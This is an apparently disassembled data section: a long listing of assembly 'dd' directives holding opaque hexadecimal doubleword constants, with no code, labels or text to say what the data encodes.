		dd 0CCE3E35Bh, 5F95F3FBh, 81E519ACh, 6A314502h,	4E6DA1A0h
		dd 41FA312h, 69B8592Dh,	0C13C80FAh, 34A1023h, 6FE22DEBh
		dd 0F33F76A0h, 5F786233h, 48CC0352h, 4638E8D1h,	1F659218h
		dd 0E9EE5F80h, 777E18C6h, 0D80DC831h, 19091400h, 0C0400805h
		dd 0D8D0B7A0h, 84C1F9B7h, 0E31DC468h, 57150524h, 0B1E05259h
		dd 406F1238h, 0E1E8174Ah, 33F27A5Dh, 6CDD0CC9h,	5CFAB5FEh
		dd 722CF727h, 0D033A2E6h, 0CE29164Ah, 1059E959h, 5827DDFBh
		dd 401F0540h, 0FBED727Fh, 1D48DFCBh, 5152544Dh,	2CA16815h
		dd 705A785Bh, 0C0E7B15Dh, 1E96B918h, 92214066h,	9807542Ah
		dd 12757304h, 0E6E1C12Fh, 55378938h, 0DD6810E1h, 69F83D59h
		dd 3840379Ah, 20E4F855h, 682DD3AEh, 0F1FA46BDh,	3AE7E12Eh
		dd 8EB4F8A9h, 0BB42B8h,	5B6B6FADh, 49E95157h, 5E011F0Dh
		dd 7A32EA81h, 0F6E3F64Bh, 884C2C2h, 93B7B25Dh, 8F35FAB2h
		dd 6086A116h, 9275B5Ah,	5ADD7CC1h, 44D51842h, 63A7848h
		dd 5DE9FFCFh, 56B52018h, 89EA0EB4h, 0BB94ED65h,	0ACC5F5C3h
		dd 0BFA464E8h, 0E9590520h, 41354BB4h, 3D27C2DBh, 3C63044h
		dd 0E81630F9h, 0B2056900h, 50B7FEA7h, 158025Ah,	387FE9D3h
		dd 0FAB2E2CCh, 4C221A3Ch, 7341777h, 19AE1660h, 8A0650DEh
		dd 0A06A0566h, 0F6D031B0h, 0D1C6266Dh, 0D73D6A27h, 62645080h
		dd 8948703Eh, 47E55FBCh, 1E71A930h, 0C8451D44h,	4D09CD73h
		dd 62BE0053h, 0FACF14F0h, 152B23Eh, 0FF7A6DBDh,	7AEE291Eh
		dd 2A40A144h, 14ECCAB0h, 0ACE32854h, 585B7A20h,	9ABBD8E4h
		dd 0E7C11765h, 0C4011E05h, 0FFBE5A46h, 0B3BF6EC4h, 4ECD203Eh
		dd 685E04F5h, 0B646A413h, 1056D40h, 49401435h, 402DE801h
		dd 0F0295D07h, 28314EC0h, 7056F6Dh, 7DAA525Eh, 537006E9h
		dd 0AF4A6624h, 0D0575263h, 5C924922h, 88274864h, 228B2F4h
		dd 3EC1304Fh, 81000A91h, 0AF04B7F1h, 0C8296009h, 0EAE8DC85h
		dd 2C35A2Ah, 0FDDD9505h, 0B05701CFh, 4E17E931h,	7980B366h
		dd 2674F320h, 4286DE86h, 1E08377Dh, 850F4040h, 88BAF0h
		dd 591EC70Dh, 0E02D0523h, 0C4940425h, 34A3B7CDh, 0EE843313h
		dd 0F0125FB7h, 0EB5B21D3h, 6048F931h, 7CB70583h, 255A80CCh
		dd 699149A2h, 240C2D7Bh, 56561A97h, 59C2E117h, 0D1920BC1h
		dd 68420A76h, 77B0B2A5h, 3D3FCE30h, 0F1FB980h, 4146AD07h
		dd 97D2A46Bh, 0D86FC126h, 0B96D0BC0h, 0C0830041h, 433B05FFh
		dd 5E97264Dh, 7FF5F1B6h, 262D4E00h, 0BFE894D1h,	903F3D79h
		dd 8725A8CFh, 29AD0274h, 24745070h, 991701E9h, 28584C5Eh
		dd 315CC6EAh, 6D307E32h, 20B1FD14h, 0AB40136Fh,	6287790Fh
		dd 0ECF19131h, 2E55BE00h, 0E755FB6h, 0F8365FB7h, 0EEE91301h
		dd 0F48040C0h, 0E7882636h, 909822D2h, 1ADF04DDh, 0FE012C23h
		dd 5E089810h, 58427029h, 4AD1C6D6h, 0CE28EF52h,	31215BA5h
		dd 7D2279D1h, 0C2A35040h, 0EDE251Fh, 0B8491653h, 0E978FC5Dh
		dd 0A1259174h, 0DF06B5EDh, 9D236770h, 0AE5C9F05h, 417E8BE4h
		dd 62A83BD0h, 0DF31FB39h, 0DC874F08h, 6AE5F8E9h, 5058428Ch
		dd 885F1F19h, 0B317E281h, 0A5E81E2Ch, 699CC34Eh, 28B8E6E0h
		dd 0C2B2331h, 78C55E3Fh, 7F05F6F0h, 1097C2Fh, 8DEADDC6h
		dd 60F231EDh, 0A3BC241h, 7FDA2DF6h, 466345A1h, 430BB61h
		dd 32F61254h, 7716CC82h, 0BD253A16h, 0B77D9093h, 0F7801C3Fh
		dd 6FE7CC05h, 0DF908E06h, 0F807F54Fh, 2C73B050h, 20CE9047h
		dd 805839C7h, 0C98ADA81h, 84CFEAE9h, 5BD931EAh,	0C57EC1EEh
		dd 13BF7DCEh, 41AE5DEAh, 6B28B043h, 0C7547A3Ah,	6A0A41EAh
		dd 8F804F85h, 184BED4Ah, 82184CE9h, 0BA3B525Ah,	1F3D1F9Ah
		dd 3FC2F916h, 88818030h, 5AC05BF8h, 1823F8E0h, 341E3E8Ch
		dd 5B8FF0B4h, 0FE1607BAh, 918982C0h, 511E72F0h,	0CDC46EB5h
		dd 0C8BFDDF6h, 5EB74451h, 0AEF02DA9h, 79F924BDh, 71D4B1E1h
		dd 4B569FCFh, 0B72E3479h, 9E9C910h, 7C18CEDBh, 6394E57h
		dd 0CCDBF796h, 29BC5533h, 0DAF1B9C3h, 609EE9ECh, 93EE1725h
		dd 0ECE30842h, 7D828815h, 0AABEDEA0h, 86BFDA1Eh, 733CB79h
		dd 463CAEEAh, 0F559B20Ah, 13AA5806h, 40E27B6h, 0EE918570h
		dd 0BE074124h, 6DA5443Ah, 0C08519ABh, 2AFF2839h, 89258BE2h
		dd 0CA11F3E5h, 0D56C093Eh, 26F6846Eh, 562080B5h, 1FFE6851h
		dd 135DF47Bh, 9A34C465h, 2E6A519Ch, 52A2C8B9h, 50029ED0h
		dd 856F1D68h, 3DE1F719h, 163D20h, 44F251ADh, 52F5800Fh
		dd 5C03ACFCh, 8917DD1Ah, 51ABC2DCh, 0E55FCDABh,	0E62B0933h
		dd 0DD50AD56h, 7E799FF1h, 369FA25h, 5D39BB53h, 0D80015FDh
		dd 6BD80B94h, 9D40860Fh, 0C0ED9D89h, 136AA05h, 0BAA5F3E2h
		dd 5D2E0BCBh, 6FD6A714h, 0E9013379h, 10843EDEh,	0C27FF2EEh
		dd 7447A0E9h, 0C8A765DFh, 40B7E298h, 8217CAC1h,	507115Ch
		dd 0B19AFB48h, 80930D08h, 132BF2C2h, 9F4DE9FEh,	938240CAh
		dd 0D82EDC41h, 49D4E6Dh, 0F393C131h, 1288F389h,	0BCECFE91h
		dd 71298BBBh, 11E96184h, 39800464h, 1F552660h, 57C10112h
		dd 607CE1D6h, 3E4E8342h, 1F809947h, 6CF037A5h, 230B42Fh
		dd 8E2D0DBDh, 3153A7C0h, 0CF2034B1h, 25B8654Eh,	0ED1EAC4Ah
		dd 0E9B3986Ah, 66621B27h, 40AEF236h, 68F4AC20h,	2D45B23Dh
		dd 603B5625h, 8F44CCBBh, 7630477Dh, 12D84D4h, 5C41E07Eh
		dd 7409629h, 710D005Dh,	48634466h, 2500D0F7h, 65512C46h
		dd 2508022Dh, 0CB560401h, 4A9CE950h, 0B023BACEh, 6A9013E3h
		dd 0B234902Bh, 0D7482808h, 377932BDh, 3EBB5CAFh, 2713CB3Eh
		dd 3499AEDEh, 852AFCEDh, 0E6E2BFFBh, 3C0668B0h,	7BC17FABh
		dd 4C15737Fh, 43DB25E8h, 2839F1E1h, 4A54DA7Bh, 8F8F36ADh
		dd 2E75AA93h, 0C19A2BAh, 0C0F3CEE9h, 78CD5C80h,	31420112h
		dd 4217EF2h, 9A447581h,	59CEB10h, 1622A17h, 2B375AC0h
		dd 772B9821h, 0BAFBC048h, 53D922DAh, 0B1019A90h, 0E97C8F69h
		dd 0C86C2F92h, 480D3611h, 18174CA7h, 0ED65593Dh, 8C34139Ah
		dd 21C20086h, 0E9661545h, 0F8475520h, 2C0424D0h, 201213B6h
		dd 6926B121h, 90B2358h,	97C916Ah, 89F10817h, 2F32C62Dh
		dd 0F7195475h, 2C9BE4E0h, 97E95612h, 8DAB13C4h,	54682B9Fh
		dd 0A8D15A89h, 0E263DB3Ch, 2DCE54F6h, 251EB4FDh, 31E863E9h
		dd 191323C1h, 8B0B3870h, 94DB7615h, 0F78FF87Eh,	3B64DFA6h
		dd 0CA5062Ch, 1CD742h, 0A277C568h, 2AD5F5Ch, 0C24EDCEh
		dd 1C8E04Eh, 46AC0476h,	0A01E8A0Fh, 30F9D1A9h, 0BA3747h
		dd 0FE3F1498h, 578D9BEBh, 15AC9D72h, 0C4B55EA6h, 3C8B2588h
		dd 33D121DCh, 5073E900h, 8BDBB8B7h, 0A1F1BF04h,	55698367h
		dd 0D0BFEF46h, 5ECBD59h, 29AAC701h, 0D7016FB8h,	8044831h
		dd 0F52D8904h, 8133E7BAh
		dd 7B6C6857h, 77050426h, 0BE30B23Fh, 0DDCC67F1h, 9776722Dh
		dd 0D642882h, 0F4111229h, 0BC7112AFh, 0BC099E87h, 0BDD5222h
		dd 7DAC73D6h, 0E9994B4Bh, 1476EA1Fh, 0DD75BB80h, 0E5810Ah
		dd 2070761Eh, 0D7828E0Fh, 240DF5A9h, 7900BF71h,	81654413h
		dd 3B3A64E7h, 0F7027A82h, 47FE578Eh, 0BA168B80h, 0F9E4D801h
		dd 6417229Fh, 7916C46Dh, 33520046h, 65D2735h, 0A2020D7Fh
		dd 0E9137455h, 1B472FBh, 3D6047EDh, 0F5E889C8h,	64822AD4h
		dd 9C14D766h, 1F49D2FEh, 43293741h, 2603B4A3h, 968B3314h
		dd 5B32C257h, 6801440h,	0EC39DA25h, 2718A434h, 45D9DB70h
		dd 54064592h, 0EF160386h, 302FF16Bh, 2C80FDD6h,	0F2D8E0F2h
		dd 0B48E480Ch, 963476B1h, 8DFA317Ch, 49E43E2Eh,	19121EF5h
		dd 185624F1h, 84C343EAh, 251D5C18h, 0B19AF0Ch, 148B32CAh
		dd 98D43455h, 0B88940A3h, 0DC68A600h, 6A660D47h, 5A797F6Fh
		dd 5FACE4F2h, 0C0B55BF6h, 0C73975DAh, 0C271EF0Ah, 96ABB9E9h
		dd 84CFC676h, 0D9B829F9h, 0AD8578C6h, 7FD6C202h, 0E04AE76Bh
		dd 0C598994Dh, 944BB0FDh, 0BFB182EBh, 0C4627C5Eh, 86BE0042h
		dd 4E3DD652h, 0AE3A9650h, 6D1729A3h, 9329EE66h,	27D78A2Fh
		dd 0C40B5EC8h, 591AE0FCh, 275165BDh, 4127FED2h,	8793A31Ch
		dd 4D08C953h, 965BD03Bh, 1C7BE358h, 0F11A382Dh,	0B9631B2Dh
		dd 754F6FE1h, 0FF9C05EFh, 0A9527E4Fh, 0DD96AB8Eh, 0F69FB834h
		dd 0DA5EDA18h, 541E3209h, 0A429B725h, 5B98F06Eh, 5A0A8813h
		dd 0C8CFD404h, 2D8870EAh, 83323CE6h, 78F62223h,	57B3006Ah
		dd 0DA28F8B2h, 0E201805Bh, 6B551EBh, 0F5E0DDF6h, 70C5F66Ch
		dd 3AEA62AAh, 58057F07h, 0F08047EDh, 567E5D1Ah,	1180BE00h
		dd 0D6F7479Dh, 418A9D46h, 149F07F8h, 0DA356082h, 16103712h
		dd 1A3DF82Dh, 0AC04400Fh, 2293AB12h, 41BEA5E9h,	962AA57Fh
		dd 0C7012051h, 0CB547882h, 96070806h, 540B38BFh, 3EB4755Ah
		dd 6221ACB0h, 0FE90548h, 3728AEF1h, 0A2E7526Dh,	2C92898Ch
		dd 0F863D497h, 689576A7h, 1CFCEF1Ch, 0E423CC01h, 0E995ECF9h
		dd 0C2B1A05Bh, 53DFCE36h, 0EDAFA50Eh, 129AE44Ah, 0B3EB29C0h
		dd 0C145A25Dh, 0A97D1A0Ch, 3C2E7879h, 728840FEh, 5BD90EE3h
		dd 52695A58h, 97222951h, 0CE3BF802h, 0C925E96Bh, 0AA4755C1h
		dd 0C69783CAh, 19AB8806h, 2DECFE0Ch, 2F77278h, 7603A401h
		dd 9DD042DCh, 0F0285900h, 2C951C04h, 8B349F85h,	92900510h
		dd 3B2C5893h, 0D2249B36h, 68090B10h, 0E674038Dh, 0E8379660h
		dd 9D57B006h, 96D7BD89h, 34619F18h, 9ACD6AC5h, 20A59402h
		dd 1D25E0EAh, 5A5F352Fh, 3A990AD7h, 2082317h, 63E11F38h
		dd 0FCA2A27Ah, 0DD040A09h, 0CD71FA07h, 0BC40FB29h, 160F1B44h
		dd 498F5F3Fh, 985FC795h, 0A05BA21Dh, 4BA72544h,	3512BA16h
		dd 0F2580EEh, 3464B688h, 91A9C727h, 24DE2125h, 0EB3E5FC9h
		dd 262FDC80h, 0E67D1892h, 0BA1EBAB8h, 38F04018h, 5BD23CFCh
		dd 3D30EC32h, 2ABB816Dh, 1F79ACB9h, 302659DEh, 0D054CC2Eh
		dd 58181B5Ch, 590840CBh, 8B8BE09Ch, 0AE8638FDh,	31D6822Bh
		dd 0F4531302h, 8602554Fh, 0A40E761Dh, 149187FDh, 77F5D631h
		dd 7558D652h, 53C69451h, 5C8C06B2h, 79E96858h, 0ECF9079Ah
		dd 0E9736DFh, 0DEDBC6ADh, 0E95B0B72h, 0B6D917FAh, 493C3F26h
		dd 58C58A9h, 63ED19DCh,	16B193A4h, 0EE03704Dh, 0A7FC1091h
		dd 2E125C62h, 92E6EC36h, 0D9F6C10Bh, 1DD69ECh, 1307081Ch
		dd 9F58E70h, 16E405D8h,	69D33580h, 574E0395h, 0E90B3EBDh
		dd 0D720F413h, 6B667B96h, 9C204BB0h, 2C5C4EA3h,	0C550D9BEh
		dd 9F7BBFD5h, 0BD545D0Dh, 30FC0BA3h, 66E9975h, 0B24608A1h
		dd 5C924E25h, 0AA18C3F3h, 5DB7EB85h, 4A828B4Ah,	351227FEh
		dd 1891C2E5h, 619213DEh, 0EA4F1CBCh, 8C17692Ah,	0EF13E4ADh
		dd 3136E163h, 49CBE9F7h, 2458551h, 2356CD8h, 712D09D1h
		dd 8962D0F7h, 0CABBE920h, 0B125C27h, 0B09C331h,	71301050h
		dd 8054CFC9h, 0CB013CAEh, 0E2A9B252h, 0D3283E60h, 45BF98B0h
		dd 0D738B44h, 0CD293072h, 74078E8Ch, 0EF5B9C03h, 0B8F72D3Ah
		dd 241BBABDh, 14F8D73h,	0F16FABEAh, 63FC3EE5h, 83D0D7C9h
		dd 9A8DD8B5h, 0BBE595E1h, 0C02096BFh, 80138A8Ah, 0B7A3C029h
		dd 0DE80AD31h, 26058041h, 2FE07113h, 70525A1h, 8B252CBEh
		dd 0BD5B0940h, 218DA117h, 0B6462DD8h, 0E51D430h, 0CAF1911Ah
		dd 13459F00h, 21303B42h, 0E95831C5h, 5CD34087h,	42545331h
		dd 0D12DADD0h, 42CCD2DEh, 36ED80F7h, 41B04BE1h,	2DDC7BD0h
		dd 0EBEE0B71h, 3FD4025Fh, 0EAA1A0F0h, 0B02C3042h, 0F2E0229Bh
		dd 8CE3EF06h, 10CFB36h,	238F3AA4h, 79E6B0E9h, 20494813h
		dd 1D2D7D47h, 40730E28h, 1CEA0BD7h, 8D30840Fh, 0A81821B9h
		dd 89680583h, 0F0BEE9C6h, 0C5728893h, 0F659EF0Eh, 57F8E9D7h
		dd 81BB9CE9h, 47AAC28Bh, 0C3ED74E0h, 0E12E6B25h, 0FBA84241h
		dd 0EB24E95Ch, 6FA94D12h, 615C118h, 0E3ED284Ah,	803D58F7h
		dd 66CF3058h, 5E885059h, 0D4B187FCh, 30A0F138h,	74F3946h
		dd 44DC94C8h, 0E9FCD15h, 0E6CF4E0Bh, 38180CF4h,	0E458142Ch
		dd 0E95A5874h, 0EBC2C7Eh, 0A650ADC4h, 0C0F2DE8h, 4E505611h
		dd 0B14CB7B8h, 60BF7CC6h, 32F7B96Ch, 273E7C0h, 0DDA0EF5Eh
		dd 912851F9h, 9FB4E3FFh, 0FD91CEC7h, 163B97E9h,	0EB8EAEBAh
		dd 0A54FF33Ch, 4906DC6Ah, 0BDB96BE1h, 301F3C94h, 0E96DC22Ah
		dd 0E85FFAE2h, 0D3097353h, 6512A75Eh, 0F784EA08h, 0BFBF33F0h
		dd 0E255EA6Ah, 33C50FAFh, 2C8854E4h, 0A42515D0h, 31F105F8h
		dd 0E7A4C149h, 0B0249DE4h, 494DEEFh, 8337CA09h,	0E3C1CD50h
		dd 85DFAA35h, 4B8AF19Dh, 577C32F7h, 0C7348D09h,	12C71697h
		dd 0F805A5E9h, 66E0D7E3h, 32D14B45h, 41E8CE8Eh,	210BD2BBh
		dd 0F5010A2Fh, 0D1308A96h, 77C94E5h, 0E90A1666h, 8689C260h
		dd 54168D5Ch, 0EBE4E2ECh, 33851DF2h, 5FBE270h, 0C09CF180h
		dd 8CFAE416h, 0CBAAF670h, 0C4568783h, 53C97062h, 5DA1991Ah
		dd 2016CD2Eh, 6801EB07h, 0C141400Ch, 0E46E03E9h, 0B5141D11h
		dd 1DD02D72h, 0BB426BB2h, 0FE8F3002h, 840449B2h, 4EB12E7h
		dd 0ABFEF904h, 8A4844F7h, 0DF3A8D04h, 3E50BE71h, 61A64F08h
		dd 22F3210h, 0C6FC6B2Dh, 5E025550h, 1EC0F329h, 0B8167173h
		dd 1F2D5E26h, 0C135642h, 560A0BC8h, 0F21D6168h,	27DC6A88h
		dd 7BFE3F50h, 18F32C48h, 0CA73A4F8h, 0F6367D34h, 9C537580h
		dd 0B8F7493Ch, 35E9F2D9h, 0EE0FFA3Ah, 53E028D5h, 7C3772BAh
		dd 0F390A860h, 4694CC11h, 4AB17258h, 57EAC600h,	0C34E2942h
		dd 1B91841Ch, 6E6BF1Eh,	6BAE24F0h, 898D24EEh, 0C7E9706Ch
		dd 68342D60h, 0C46F4AB6h, 0EAC3A772h, 22ED9140h, 0F831BB41h
		dd 2518964Fh, 4BFFB077h, 0CAF1BDC1h, 77E56409h,	6819E39Eh
		dd 3F7B29B9h, 994EBA3Ch, 0FB802A60h, 41141AADh,	85D307Fh
		dd 5A7E189Fh, 7E271F35h, 0CEBD895Dh, 0E11F1948h, 5EBB6880h
		dd 5AAF3124h, 0B6CA3A57h, 5416824Ch, 0E0FDC9C4h, 7495D58Dh
		dd 7568E79Ch, 0CD5DCD49h, 28F1E8E0h, 0F4DCCDC4h, 16B05003h
		dd 9DD0ECC2h, 6C34872Fh, 0E90DC31Dh, 6831C0B1h,	109EBA54h
		dd 0F7D792Ch, 4171B34h,	0BC02F10Bh, 9173CDAEh, 0A6D447A7h
		dd 68510047h, 3CA53055h, 1FD6C097h, 613B040Eh, 0EA19890Fh
		dd 28BF10C5h, 0CA9F29E7h, 0B5BED00Eh, 0E9C221FBh, 269378E8h
		dd 91ACF29h, 0E531343h
		dd 0D71ADFA5h, 7BF41640h, 0AEF25h, 0A4146CDBh, 0E5810265h
		dd 7945133Bh, 4B8A1E60h, 3158D801h, 0DC49E9C5h,	5BDD6B82h
		dd 77DC2C87h, 0E97AB640h, 0A62D4F12h, 9D2F7A91h, 64E0D6FEh
		dd 6B45B18Ah, 0EC000BFCh, 8109572Ah, 712875CAh,	9720DD0Ah
		dd 2E667CFDh, 0DEFA3F7h, 305FE75Ch, 10F0684Ch, 0CF64695h
		dd 39CA06F9h, 0DC2FD32h, 0C4EE7EE9h, 0F68017FFh, 94783174h
		dd 7E342AD9h, 1805DA88h, 0A5A76CCh, 0BC4A5813h,	75072550h
		dd 39EC23D6h, 0FADD53B2h, 0E76812CEh, 50688C69h, 20CF46BFh
		dd 0B7A94D53h, 3014C552h, 2024A418h, 0CE01FD8Ah, 3C4F04CAh
		dd 0C1418A4h, 190C0F85h, 259D3909h, 4BCA5E01h, 33A91CDFh
		dd 0D1F79128h, 2CABE1E8h, 0C06E9D2Dh, 0EC90201Bh, 29C84B01h
		dd 5F1640B9h, 54093F76h, 1830C0E9h, 4FDB68E0h, 0E5D1AC59h
		dd 7B3399FAh, 7627FEE9h, 5855E8E2h, 79682829h, 0A124A82Ah
		dd 2D9F9066h, 759688B5h, 117E616h, 0A2D758A2h, 0AF0FC280h
		dd 76E057C8h, 5F81BEBBh, 0C7B142D8h, 2923528h, 8E5F72A2h
		dd 0FB8A3F76h, 94B6DE41h, 55F9B50Ah, 6A7BE962h,	3C407D3Ch
		dd 1403143h, 97159AF4h,	8A257A4Eh, 8940EFEAh, 427FE1E9h
		dd 73367D59h, 5A730247h, 253F1DBFh, 571A21A2h, 112E2D00h
		dd 9F41F0Eh, 0A04408C3h, 3E56E31h, 0EA53DFC2h, 1F01FB20h
		dd 815C6B6Ch, 0D851BF1h, 0AC26BFE9h, 60A81CCh, 7389298Dh
		dd 9C8B5558h, 5A4F4BD0h, 0B9016F89h, 5E02A915h,	15781677h
		dd 0F4416468h, 0E4FB0B85h, 701E8D46h, 0B8D60EDDh, 0B13EBDF1h
		dd 0E6CDE08Bh, 0DF93E794h, 86C74F4Fh, 4BCD7774h, 164249FDh
		dd 22C447Fh, 0AE36857h,	0ECB2667Bh, 0E8D149F5h,	0FA891D8Dh
		dd 0F1C688E1h, 25F2D46h, 57A78C5Eh, 2B68E7A0h, 3B4A2344h
		dd 97DAB80h, 3C404C35h,	0A4E54C2Eh, 0FD8625F7h,	63956A47h
		dd 83700BDCh, 0DF028413h, 51575FFBh, 0DEE9C12Dh, 0E3945209h
		dd 460A2660h, 5D314824h, 9FBCD30Dh, 0BB2E06Ah, 656B3914h
		dd 0EB2E15C6h, 519877CCh, 7FD4EA55h, 0C3DB70C1h, 257FF873h
		dd 0CA3AB75Dh, 3434CC55h, 0FF235EB1h, 0E8FD9684h, 87680F93h
		dd 0E3104D3h, 11C5875Ch, 620B0685h, 47BB09B1h, 0BFED82D9h
		dd 7E6800B1h, 6F5A9A2Bh, 0A44E68CBh, 65969B47h,	80C6FE09h
		dd 8C0FFCE9h, 0C0D66988h, 75B78DEh, 2B67B8B5h, 20F76965h
		dd 0A07846E5h, 83950E34h, 1A99FFC5h, 1762C405h,	0BDCE9C2Eh
		dd 0F450DD0Bh, 0ACDA0886h, 0F7015E05h, 5BF04983h, 8497AD11h
		dd 39E2B0C2h, 0FEDA5477h, 1331D660h, 0CFFE006Bh, 74020438h
		dd 0A50E4761h, 0E8EBF171h, 2453C3EFh, 20E2F72h,	0AF7ADE22h
		dd 0B12C1BD6h, 73A50713h, 8144C005h, 6804FEA2h,	2232AE87h
		dd 0EB42FF5Ch, 2A24C5FFh, 0E8832663h, 0A7880868h, 0B4310828h
		dd 0BC20577Fh, 0FC21BE93h, 0E5B34567h, 0F04FF856h, 0D5311B9Dh
		dd 0D2DDC3A0h, 657015E7h, 71F421A5h, 882D0158h,	3F25D7C0h
		dd 277D4709h, 0E579E1F8h, 0B7A5088Ch, 4B090CDh,	371D313Ah
		dd 86E3AE59h, 97DF6778h, 3AB07250h, 18A68BA1h, 2C5A8D80h
		dd 16EC4EEh, 7FC52085h,	0A7232049h, 0FFF9C969h,	41BF8320h
		dd 105FC058h, 63DF70A0h, 0CC272350h, 0CB314628h, 0E4DC15A1h
		dd 12D06A4h, 0F29455EEh, 0E2F5180h, 6CF819C9h, 8086209Ch
		dd 2009B613h, 9BE70BAEh, 85627EDEh, 8C67D02h, 8D0F12Ah
		dd 73255B50h, 83A0054Ch, 17177C40h, 90958216h, 0AC167E21h
		dd 0B1B46CF7h, 54C601ABh, 8568C0D8h, 755E6443h,	0F65C0FAEh
		dd 135B7C63h, 750E104Ah, 0B939E357h, 36594856h,	0B877F835h
		dd 360F7275h, 0A9064B28h, 0B5A70E7h, 720E685Dh,	0FB87FD71h
		dd 9028470h, 405A68D3h,	4F2980D1h, 0A73CE097h, 8CB3C952h
		dd 280967FEh, 716AA2FDh, 0CB03DCF3h, 0E9E180F6h, 2480F875h
		dd 0EE8021B7h, 0FE5C28F3h, 7ED32510h, 549E618Eh, 6A688B62h
		dd 8A657625h, 84F65AD5h, 8105E6C1h, 0FBBC38h, 323A79BEh
		dd 28BA07FAh, 0FCE28B55h, 0BF09B5CAh, 1E586B01h, 0F03B7807h
		dd 0E762D1D1h, 5B84F032h, 0F04ABE32h, 15E1C1Bh,	561660F7h
		dd 0D3CEE7Bh, 62F35E0Dh, 0B6A50746h, 0B084EE5Dh, 0E62DF4ABh
		dd 4628192h, 0EB7D2CDEh, 0A995A72Ch, 5DE2BC2h, 80CB0088h
		dd 0B25209F3h, 0C2FEEA05h, 9050FAE9h, 515027E8h, 0CADF9F6Dh
		dd 60F29CECh, 331E6E68h, 355A7F2Ch, 0DB1C6B01h,	16B212Ah
		dd 0C93EA51h, 0CE41FA33h, 2963295Ah, 2638E0DAh,	0DEC21217h
		dd 0EB800128h, 68C3C02Bh, 87382C26h, 0FE74B460h, 0E4D017CCh
		dd 0C1D61D80h, 0F6DC86C4h, 1608B5D3h, 0E9E30B02h, 5077D219h
		dd 2FA9FAB9h, 7D316Eh, 253D97B8h, 1D7FF316h, 240290E8h
		dd 8796F432h, 0E2D1AB42h, 6A6C851h, 5AA4989Eh, 1FB84E55h
		dd 0C01EDA24h, 7F694339h, 67E93813h, 32FF38C1h,	0B7B9C860h
		dd 68807E51h, 1FA66C2Fh, 0E381025Bh, 2A92496Eh,	7092840h
		dd 41CAF42Fh, 5FD6B97Ch, 510F3266h, 0ECB7F1B1h,	48B5C830h
		dd 5B1F9AC5h, 0FA12FE66h, 0C0A14020h, 43E905EDh, 0BA66A54Eh
		dd 2D6812AAh, 0C5FA0007h, 27FA47DEh, 33018298h,	0E9032A2Fh
		dd 543CA961h, 53E0D382h, 3EDC59E0h, 58152300h, 6F4D0F05h
		dd 2581E819h, 21E85C93h, 0A983B5BDh, 322C0BCBh,	94BA0C1h
		dd 0D19AF474h, 78D6494h, 342A0D5Eh, 0A852C115h,	0E5C3071Ah
		dd 0B0EC809h, 0D289140Fh, 0FC050C9Ah, 826F3219h, 325688ADh
		dd 80800290h, 8B0F0AE1h, 99903731h, 5E00733Ch, 7C00DE35h
		dd 0D8F70CB7h, 0E11BE668h, 0E177EC2Bh, 8747EE9h, 630B0DBBh
		dd 0CC2034E6h, 5D093865h, 70A6870Fh, 0E5A9644h,	22FECA78h
		dd 7967D935h, 0E7BD80AEh, 314E2FA3h, 65FD77F0h,	0BA9A67AAh
		dd 0CA099944h, 422EF2CBh, 107F09C8h, 6D536FFAh,	0E78000B4h
		dd 4ACE8102h, 10F72E43h, 0A8761680h, 0E08A4B71h, 7FEA69h
		dd 203A3683h, 370136BBh, 0EA7FDC0Ah, 5458A025h,	0F208A0E0h
		dd 0E2DE4B01h, 5CEED7AEh, 0A1C818ABh, 109636A9h, 0D54CD462h
		dd 0CE6B17ECh, 784AF09Fh, 870EC7A9h, 0C2D614F7h, 0B0008BF6h
		dd 3A11042Ah, 2C1DE0C0h, 0AF08D25Fh, 0FDDF9D81h, 2710F33Ah
		dd 5BE0046Ch, 646F8BAFh, 0E2BE557Dh, 2A82A79Eh,	620E87F3h
		dd 21A0913h, 5F12EA34h,	0C3765E6Ch, 54612F89h, 0F75D6313h
		dd 94BE9602h, 641A8430h, 0F4C23B92h, 197E1416h,	0EF044C2Ch
		dd 0FC87DDF0h, 3AC1595Ah, 273A915Dh, 0E8A58423h, 74BA06FEh
		dd 288334Eh, 6D48A0EAh,	26C02DAEh, 3ECA3F25h, 5A000705h
		dd 2015355Fh, 0F8D84E73h, 1DE9842Bh, 910CD0AAh,	74A4369h
		dd 4CF471F1h, 4C23B53Dh, 65F25C8Ch, 32149DFh, 7C060698h
		dd 0E1FA9FCDh, 0C48BE912h, 0BC9D88EEh, 3ABF7C09h, 0B67F0659h
		dd 0A1CB1D1Dh, 6231212h, 0E1DBB2CCh, 6177E340h,	6E1113Ch
		dd 7CA23A54h, 0A528A026h, 880023D4h, 354A1326h,	0CA532649h
		dd 0E03117B6h, 727B056Ch, 2D4CA6FEh, 757F3BC8h,	3870510Fh
		dd 0EB94144h, 3930B3EDh, 0D51916BBh, 750FB7Dh, 0AFE90B08h
		dd 0DF511AF5h, 0E9851F7Bh, 0AFF49BBFh, 176B6505h, 0D200960Eh
		dd 5F4F0778h, 32062B16h, 9D26D406h, 0C8EA2951h,	0BB126560h
		dd 6DD6DC15h, 554AA7EEh, 0EB4AA1B6h, 0D510E02Bh, 0CACA5AF2h
		dd 0B14FE510h, 12240A6h, 57B3100h, 72CA817Eh, 65A56D18h
		dd 0B25EA146h, 52EA1327h, 68D31457h, 637C4A60h,	70B77835h
		dd 739E8073h, 0BFE20921h
		dd 0AD5F82E9h, 0BC3E9CE8h, 1DEEF099h, 3590B701h, 719FA2F1h
		dd 0E8F7882Ah, 4DEDE961h, 0ECC1CB81h, 3A408A2Fh, 0F8FC4485h
		dd 0BB4150B6h, 108CCD30h, 1D6B5Bh, 0C02F5CEBh, 5E9FE997h
		dd 5DD59C45h, 80E569Fh,	5527B56Ch, 0DC485E9Ah, 5D905457h
		dd 0BC5B0140h, 61D8C262h, 5D8ED95Ch, 484A8769h,	90E4B5C2h
		dd 0B8A2E0C7h, 92FE9F75h, 851E5F25h, 0C9D80126h, 8C267E72h
		dd 31A8BD60h, 4245EF5Eh, 63ADC68Bh, 987A187Fh, 55920C1Dh
		dd 0D27F872Dh, 4108834Fh, 0A8E7140Ch, 5B4970A3h, 290CB80Ch
		dd 4008D35Bh, 9B2C1D1Ah, 3ED9B966h, 50A80475h, 0D6F0291Fh
		dd 0FE99573Bh, 0D9531423h, 81485063h, 280612C4h, 18310051h
		dd 13BAD92h, 0E05A9BB2h, 0C95EBA0Eh, 94E97885h,	0FAA4C3D9h
		dd 41681609h, 0CD1227Ch, 9DFBF5D3h, 10A2484h, 68CF28BFh
		dd 5916AA2Fh, 0E5EDC4C6h, 19AD7E66h, 21745E2Fh,	83E9185Ch
